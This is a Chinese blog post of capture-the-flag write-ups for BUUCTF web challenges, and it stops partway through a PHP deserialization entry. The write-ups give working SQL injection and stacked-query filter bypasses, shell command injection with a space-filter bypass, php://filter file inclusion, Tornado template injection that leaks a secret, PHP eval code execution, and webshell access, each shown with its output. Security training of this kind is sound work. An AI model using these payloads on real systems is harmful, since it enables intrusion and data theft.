BUUCTF Web 第一页全部Write ups

原创

yym68686 于 2021-03-26 20:36:27 发布 956 收藏

分类专栏： CTF 文章标签： BUUCTF CTF php sql Web

本文链接：https://blog.csdn.net/weixin_45646006/article/details/115254562

更多笔记，可以关注yym68686.top

目录

[极客大挑战 2019]Http

[ACTF2020 新生赛]Exec

[极客大挑战 2019]Secret File

[HCTF 2018]WarmUp

References

[极客大挑战 2019]EasySQL

References

[强网杯 2019]随便注

方法一

方法二

References

[极客大挑战 2019]Havefun

[SUCTF 2019]EasySQL

方法一

方法二

References

[ACTF2020 新生赛]Include

References

[极客大挑战 2019]LoveSQL

References

[GXYCTF2019]Ping Ping Ping

References

[极客大挑战 2019]Knife

References
[护网杯 2018]easy_tornado
References
[RoarCTF 2019]Easy Calc
References
[极客大挑战 2019]PHP
[极客大挑战 2019]Upload
[极客大挑战 2019]BabySQL
[ACTF2020 新生赛]Upload
[ACTF2020 新生赛]BackupFile
[GKCTF2020]cve版签到
[HCTF 2018]admin
方法一
方法二 Unicode欺骗
方法三 session伪造
[极客大挑战 2019]BuyFlag
[SUCTF 2019]CheckIn
`.user.ini`的利用条件：
[BJDCTF2020]Easy MD5
[ZJCTF 2019]NiZhuanSiWei
DATA URI Scheme
[CISCN2019 华北赛区 Day2 Web1]Hack World
[极客大挑战 2019]HardSQL
[网鼎杯 2018]Fakebook
一般的解题流程
方法一
方法二
[GXYCTF2019]BabySQli
[网鼎杯 2020 青龙组]AreUSerialz
方法一
方法二
方法三
[MRCTF2020]你传你□呢
[GYCTF2020]Blacklist
[MRCTF2020]Ez_bypass

[极客大挑战 2019]Http

- 查看源代码，发现“氛围”这两个字链接到一个地址

```
http://node3.buuoj.cn:27957/Secret.php
```

用Burp Suite请求

```
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96
 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
```

响应提示

```
It doesn't come from 'https://www.Sycsecret.com'
```

修改请求为

```
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96
 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
```

响应提示

```
Please use "Syclover" browser
```

修改请求：

```
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
```

响应提示：

```
No!!! you can only read this locally!!!
```

修改请求：

```
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
X-Forwarded-For:127.0.0.1
```

发送后获得flag。

[ACTF2020 新生赛]Exec

先输入

```
127.0.0.1;ls -al;
```

返回正常，在输入

```
127.0.0.1;cd /;ls -al
```

发现flag文件

在输入

```
127.0.0.1;cd /;cat flag
```

得到flag

[极客大挑战 2019]Secret File

用Burp Suite请求，发现隐藏文件Archive_room.php，修改请求访问Archive_room.php，又发现隐藏文件action.php，修改请求，访问action.php，响应为

```
<!DOCTYPE html>

<html>
<!--
   secr3t.php
-->
</html>
```

用浏览器访问secr3t.php，获得php代码

```php
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
```

访问flag.php，发现没有flag，仔细检查php代码，发现文件包含漏洞，没有过滤filter，可以用php://fileter来获取文件，修改请求：

```
http://66d4702a-63f9-449e-93e3-13a01091a1a2.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
```

得到base64编码，解密获得flag

[HCTF 2018]WarmUp

打开网站是一个笑脸，按`F12`发现`source.php`文件。

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
```

打开`source.php`，输入url：

```
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php
```

发现php源码：

```php
<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) //检查file的值是否合法
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单，只有source.php和hint.php合法
            if (! isset($page) || !is_string($page)) {// file的值不能为空，并且file的值必须为字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//判断file的值是否在白名单里面
                return true;
            }

            $_page = mb_substr(//分割字符串，带有mb_前缀的substr函数可以截取非字母字符串
                $page,
                0,
                mb_strpos($page . '?', '?')//在page里面找第一个问号所在的位置
            );//substr函数就是查找page字符串，从第一个字符截取到第一个问号的字符串
            if (in_array($_page, $whitelist)) {
                return true;
            }//再判断_page是否在白名单里面

            $_page = urldecode($page);//对page进行解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//再次截取字符串
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//满足三个条件就可以执行if
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
```

发现白名单里面还有`hint.php`，访问`hint.php`：

```
flag not here, and flag in ffffllllaaaagggg
```

说明flag在`ffffllllaaaagggg`里面。

我们要创建的url应是下列形式：

```
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=...
```

输入后把file的值送给`page`变量，因为`page`可能有我们要找的flag的值，所以`checkFile`函数里面的第一次判断白名单肯定不在白名单里面，不能返回`true`，所以我们可以利用第二次判断白名单的`if`，在判断之前先要对`page`分割，从`page`开始截取到第一个问号，再判断是否在白名单里面，所以我们的`page`开头应该是`source.php?...`或`hint.php?...`，省略号后面就是我们要找的flag路径。

todo那问号怎么办？

但我们并不知道flag在哪里，所以我们要一个个尝试，首先构造：

```
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/fffflllaaaagggg
```

发现不行

```
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../fffflllaaaagggg
```

最后

```
http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../../../../../ffffllllaaaagggg
```

得到flag

References

https://blog.csdn.net/weixin_44348894/article/details/105255603

[极客大挑战 2019]EasySQL

一般数据库查询语句为：

```
select * from table_name where username='xxxx' and password='xxxxxx';
```

进入网站发现要输入用户名与密码

用户名输入

```
1' or 1=1 #
```

那么查询语句就会变成

```
select * from table_name where username='1' or 1=1 #' and password='xxxxxx' ;
```

虽然`username='1'`查询不到，但1=1恒成立，密码随便填。所以得到flag。

然后是官方的Payload：

```
admin/admin'||'1
```

url

```
http://67dd65a1-3417-47c4-81b0-2efdfe296eb4.node3.buuoj.cn/check.php?username=admin/admin'||'1&password=admin/admin'||'1
```

References

https://blog.csdn.net/TM_1024/article/details/106156448

[强网杯 2019]随便注

进入网站就一个输入框。

输入

```
1'    报错
1'#   正常且为True
```

所以存在注入，并且参数使用单引号闭合。

首先获得列数

```
1' order by 1#
1' order by 2#
1' order by 3#  报错
```

所以列数为两列。

先查询数据库

```
1' union select 1,database()#
```

报错：

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

发现利用正则匹配过滤了关键字：`select`，`update`，`drop`，`delete`，`insert`，`where`，因此不能使用`select`。

网站源码 todo源码怎么来的？

```
<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透，只说一句话：开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update
|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prep
are")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集，返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>
</body>
</html>
```

发现`multi_query()`函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。因此支持堆叠查询。

查询表名：

```
-1';show tables#
```

网站显示

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```

查看`1919810931114514`表的字段，注意添加反引号```。

```
-1';show columns from `1919810931114514`#
```

网站显示

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

查看`words`表的字段

```
-1';show columns from `words`#
```

网站显示

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

因此数据库下的表结构：

- words
  - id int(10)
  - data varchar(20)
- 1919810931114514
  - flag varchar(100)

因为flag在`1919810931114514`表中，那么源码查询的sql语句就为：

```
select flag from `1919810931114514`
```

但程序过滤了`select`，我们不可以直接用。

方法一

我们可以使用预编译的方法来绕过`select`查询

预编译的语法：

```
set                 用于设置变量名和值
prepare             用于预备一个语句，并赋予名称，以后可以引用该语句
execute             执行语句
deallocate prepare  用来释放掉预处理的语句
```

所以我们构造：

```
set @sql=concat('selec','t flag from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
```

或者

```
set @sql=concat('selec','t * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
```

连成一行，输入

```
-1';set @sql=concat('selec','t flag from `1919810931114514`'); prepare presql from @sql; execute presql; dealloc
ate prepare presql;
```

网页显示

```
strstr($inject, "set") && strstr($inject, "prepare");
```

过滤了`set`和`prepare`，但`strstr`会区分大小写，所以我们可以通过大写绕过过滤。

修改输入：

```
-1';Set @sql=concat('selec','t flag from `1919810931114514`'); Prepare presql from @sql; execute presql; dealloc
ate prepare presql;
```

得到flag

方法二

源代码里面sql查询语句为：

```
select * from words where id='$id';
```

这句话意思是在表`words`里查询名为id的字段的内容，而字段flag在表`1919810931114514`里面，所以我们只要把`1919810931114514`名字改成`words`，`words`改成其他任意名字，`flag`改为`id`，就可以实现自动查询。

我们可以构造下列语句：

```
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
```

连成一行就是：

```
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change fl
ag id varchar(50);#
```

在网页输入这一行后，在输入：

```
1' or '1=1
```

得到flag

References

https://zhuanlan.zhihu.com/p/78989602

https://foxgrin.github.io/posts/42551/

[极客大挑战 2019]Havefun

进入网站发现一只猫。`F12`发现注释代码：

```
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
 echo 'Syc{cat_cat_cat_cat}';
}
-->
```

当`cat=dog`时，输出flag，浏览器输入url

```
http://aa3367cb-d966-4689-a6f1-a7241f7e3303.node3.buuoj.cn/?cat=dog
```

得到url

[SUCTF 2019]EasySQL

查看数据库，最后分号不能少：

```
1;show databases;
```

网页显示：

```
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array (
 [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
```

输入：

```
1;select database();
```

发现正常返回数据库

```
Array ( [0] => 1 ) Array ( [0] => ctf )
```

所以select没有被过滤。

查看数据库ctf中的表名：

```
1;use ctf;show tables;
```

网页显示：

```
Array ( [0] => 1 ) Array ( [0] => Flag )
```

我们可以使用预编译的方法来查询

预编译的语法：

```
set                 用于设置变量名和值
prepare             用于预备一个语句，并赋予名称，以后可以引用该语句
execute             执行语句
deallocate prepare 用来释放掉预处理的语句
```

所以我们构造：

```
set @sql=concat('selec','t * from `Flag`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
```

排成一排

```
-1;Set @sql=concat('selec','t * from `Flag`'); Prepare presql from @sql; execute presql; deallocate prepare pres
ql;
```

网页返回no，说明关键词被过滤。具体是`prepare`。

方法一

网页源码里面的查询语句：

```
"select ".$post['query']."||flag from Flag"
```

我们可以叫系统把管道符号当成连接符，在网页里输入：

```
1;set sql_mode=pipes_as_concat;select 1
```

得到flag，显示：

```
Array ( [0] => 1 ) Array ( [0] => 1flag{14aa9272-a89a-467a-bc8a-91aaa881afba} )
```

系统里连起来的查询语句为：

```
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag
```

`||`的作用就是把1和flag的具体内容连接起来显示。

方法二

输入

```
*,1
```

直接得到答案

todo这里如果改成*,2跟*,1有什么区别？

sql语句就变成了`select *,1||flag from Flag`，等价于`select *,1 from Flag`，直接查询出了Flag表中的所有内容。

todo这里为什么1||flag最后变成1而不是flag。

题目源码：

```
<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
```

```php
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|up
date|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>
```

```
?>
```

发现黑名单屏蔽了很多关键词。

References

https://blog.csdn.net/qq_43619533/article/details/103434935

https://github.com/TheKingOfDuck/fuzzDicts

http://www.xianxianlabs.com/blog/2020/05/27/355.html

https://blog.csdn.net/qq_43619533/article/details/103434935

https://www.shuzhiduo.com/A/n2d9yqoQdD/

[ACTF2020 新生赛]Include

进入网站发现`tips`，点击后发现

```
Can you find out the flag?
```

查看url为：

```
http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=flag.php
```

猜想flag在`flag.php`里面。

想到伪协议`php://filter`，该伪协议读取源代码并进行base64编码输出，输入url：

```
http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
```

网页显示：

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjUyNzcyODUtNDE3Yy00NjVmLWJjZTAtZWNlNTQzNGE1YWY2fQo=
```

base64解码：

```
<?php
echo "Can you find out the flag?";
//flag{b5277285-417c-465f-bce0-ece5434a5af6}
```

得到flag

References

https://blog.csdn.net/kuller_Yan/article/details/106592442

base64解码：

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=UEQ5d2FIQUtaV05vYnlBaVEyRnVJSGx2ZFNCbWFXNWtJRzkxZENCMGFHVWdabXhoWno4aU93b3ZMMlpzWVdkN1lqVXlOemN5T0RVdE5ERTNZeTAwTmpWbUxXSmpaVEF0WldObE5UUXpOR0UxWVdZMmZRbz0

[极客大挑战 2019]LoveSQL

打开网页，发现登录页面。

先用万能登录钥匙。

输入用户名：

```
admin' or '1'='1
```

密码随便填。

网页回显：

```
Login Success!
Hello admin!
Your password is 'abe1a437b5b956f4db70211b8fcc27e1'
```

获得用户名，然后判断列数，输入：

```
admin' order by 3#
```

没报错。

再输入：

```
admin' order by 4#
```

报错，说明有3列，即三个字段。

使用`union`查询回显点位：

```
1' union select 1,2,3#
```

网页回显：

```
Hello 2!
Your password is '3'
```

说明回显点位为2和3，查询当前数据库名及版本：

```
1' union select 1,database(),version()#
```

网页回显：

```
Hello geek!
Your password is '10.3.18-MariaDB'
```

查询数据库`geek`里面的表名：

```
1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='geek' #
```

网页回显：

```
Hello 2!
Your password is 'geekuser,l0ve1ysq1'
```

查询数据库`geek`中表`l0ve1ysq1`中所有字段名称

```
1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema='geek' and ta
ble_name='l0ve1ysq1' #
```

网页回显：

```
Hello 2!
Your password is 'id,username,password'
```

查询数据库`geek`中表`l0ve1ysq1`中`password`字段的值

```
1' union select 1, 2, group_concat(password) from geek.l0ve1ysq1 #
```

网页回显：

```
Hello 2!
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_sh
i_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai
_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{0975daee-9f30-4038-b53d-3c2e8c590cbc}'
```

得到flag。

References

https://blog.csdn.net/weixin_44037296/article/details/105084538

[GXYCTF2019]Ping Ping Ping

首先进入网页，提示：

```
/?ip=
```

利用`127.0.0.1;ls -al`查看当前目录所有文件

输入url：

```
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls -al
```

网页显示：

```
/?ip= fxck your space!
```

说明过滤了空格，这里空格用`$IFS$9`代替。

输入url：

```
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls$IFS$9-al
```

网页显示：

```
/?ip=
total 8
drwxr-xr-x    1 www-data www-data        39 Mar 10 13:11 .
drwxr-xr-x    1 root     root            18 Feb 15  2019 ..
-rwxr-xr-x    1 www-data www-data        66 Mar 10 13:11 flag.php
-rwxr-xr-x    1 www-data www-data       574 Dec 25  2019 index.php
```

发现flag文件，输入：

```
http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
```

按`F12`

```
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{ce6fa573-9e91-4124-be54-f53c05397f51}";
?>
```

得到flag

References

https://www.cnblogs.com/wangtanzhi/p/12246386.html

命令注入

[极客大挑战 2019]Knife

进入网页，提示：

```
我家菜刀丢了，你能帮我找一下么
eval($_POST["Syc"]);
Syclover @ cl4y
```

说明连接密码是Syc。

利用中国蚁剑空白区域右击添加数据，设置如下：

```
URL地址  http://942c3635-ef55-4623-91f7-b4e046830bff.node3.buuoj.cn/
连接密码 Syc
网站备注
编码设置 UTF8
连接类型 PHP
```

其他不变。密码可以随便设置，但要跟$_POST[“Syc”]一致。

连接后查看网站文件，在根目录发现flag。

References

Web-文件上传

[护网杯 2018]easy_tornado

进入网站显示三个文件链接：

```
/flag.txt
/welcome.txt
/hints.txt
```

点开`/flag.php`文件链接：

```
/flag.txt
flag in /fllllllllllllag
```

点开`/welcome.txt`：

```
/welcome.txt
render
```

`render`是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页`render`配合`Tornado`使用。

> `Tornado` 是一种Web服务器软件的开源版本。 `Tornado` 和现在的主流Web服务器框架（包括大多数 Python 的框架）有着明显的区别：它是非阻塞式服务器，而且速度相当快。

点开 `/hint.txt`：

```
/hints.txt
md5(cookie_secret+md5(filename))
```

此时url为：

```
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/hints.txt&filehash=74c408ee3fa20381ac36f46012932dc9
```

可见 `filehash` 后面的参数是 `md5(cookie_secret+md5(filename))` 生成的。

在 `tornado` 模板中，存在一些可以访问的快速对象,这里用到的是 `handler.settings`， `handler` 指向 `RequestHandler`，而 `RequestHandler.settings` 又指向 `self.application.settings`，所以 `handler.settings` 就指向 `RequestHandler.application.settings` 了，这里面就是我们的一些环境变量。

构造url：

```
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/error?msg={{handler.settings}}
```

网页显示：

```
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e39980a5-729d-40b0-9b61-e7225dc5b1d0'}
```

利用python脚本生成 `filehash`：

```
import hashlib
hash = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = "e39980a5-729d-40b0-9b61-e7225dc5b1d0"
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
```

运行后输出：

```
d3136a4cc1a1d466c4f89ba75c10fb50
```

拼接url：

```
http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=d3136a4cc1a1d466c4f89ba75c10fb50
```

得到flag：

```
/fllllllllllllag
flag{be1999aa-0f7d-42d2-8b9b-20bb79b86066}
```

References

https://www.cnblogs.com/xhds/p/12285121.html

https://www.tornadoweb.org/en/latest/guide/templates.html#template-syntax

[RoarCTF 2019]Easy Calc

进入网页，发现计算框，输入数学表达式`1+1`之类的都可以算，按`F12`，发现请求地址：

```
<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>
```

解析`calc.php?num=encodeURIComponent($("#content").val())`中`$("#content").val()`的意思：

获取`id`为`content`的HTML标签元素的值，是`JQuery`。

- `$("#content")`相当于`document.getElementById("content");`
- `$("#content").val()`相当于`document.getElementById("content").value;`

请求地址为`calc.php`，输入url：

```
http://node3.buuoj.cn:28695/calc.php
```

获得`calc.php`源代码：

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
```

在`calc.php`里面发现`waf`规则。绕过`waf`，首先了解要php的解析规则，当php进行解析的时候，如果变量前面有空格，会去掉前面的空格再解析，那么我们就可以利用这个特点绕过`waf`。`num`被限制了，那么`' num'`就不会被限制，在`num`前面加了空格，`if`判断就进不去了，进入了`else`，所以就绕过了`waf`，因为waf只是限制了`num`，`waf`并没有限制`' num'`，当php解析的时候，又会把`' num'`前面的空格去掉再解析，这样有变成了`num`但这个时候没有任何限制。所以我们这个时候就可以任意传递非法字符了。`eval('echo '.$str.';');`是执行我们命令的地方。

PHP将查询字符串（在URL或正文中）转换为内部`$_GET`或的关联数组`$_POST`。例如：`/?foo=bar`变成`Array([foo] => "bar")`。

查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如：`/?%20news[id%00=42`会转换为`Array([news_id] => 42)`。如果一个`IDS/IPS`或`WAF`中有一条规则是当`news_id`参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：

```
/news.php?%20news[id%00=42"+AND+1=0--
```

上述PHP语句的参数`%20news[id%00`的值将存储到`$_GET["news_id"]`中。

`HP`需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：

- 删除空白符
- 将某些字符转换为下划线（包括空格）

例如：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-96qjml0Q-1616761620627)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/fcda8bfa-c4fe-4d8f-939e-83b5b0532f6d/1567560438_5d6f12f680afe.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WhOl0qM5-1616761620628)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f3a4edef-01ec-4b47-b4fa-3cbd608bbed8/1567560448_5d6f13004035f.jpg)]

查看根目录文件，输入url：

```
http://node3.buuoj.cn:28695/calc.php? num=var_dump(scandir(chr(47)))
```

`chr(47)`是`/`的Ascii码，因为`/`被过滤了。

网页显示：

```
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> s
tring(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=>
 string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt"
 [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3)
 "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> s
tring(3) "var" }
```

发现`flagg`文件，将`/flagg`转化为ASCII码，获取`flagg`内容，输入：

```
http://node3.buuoj.cn:28695/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
```

获得flag。

- **scandir()**

函数会把扫描的目录值，写成数组，返回

- **var_dump()**

函数用于输出变量的相关信息。

References

https://www.freebuf.com/articles/web/213359.html

https://blog.csdn.net/qq_42967398/article/details/103512717

https://my.oschina.net/u/4410118/blog/3344782

https://blog.csdn.net/weixin_44077544/article/details/102630714

https://www.cnblogs.com/chrysanthemum/p/11757363.html

https://www.cnblogs.com/h3zh1/p/12621909.html

[极客大挑战 2019]PHP

进入网站提示：

```
因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
不愧是我！！！
```

用`dirsearch`扫描网页，输入命令：

```
python dirsearch.py -u http://6d647a0e-76d1-4a02-bb1b-5678cc5abe93.node3.buuoj.cn/ -e * -x 429 -w db/mylist.txt
```

发现`www.zip`文件，下载后查看`index.php`源码：

```php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
```

加载了一个`class.php`文件，然后采用`get`传递一个`select`参数，随后将之反序列化，打开`class.php`：

```php
<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
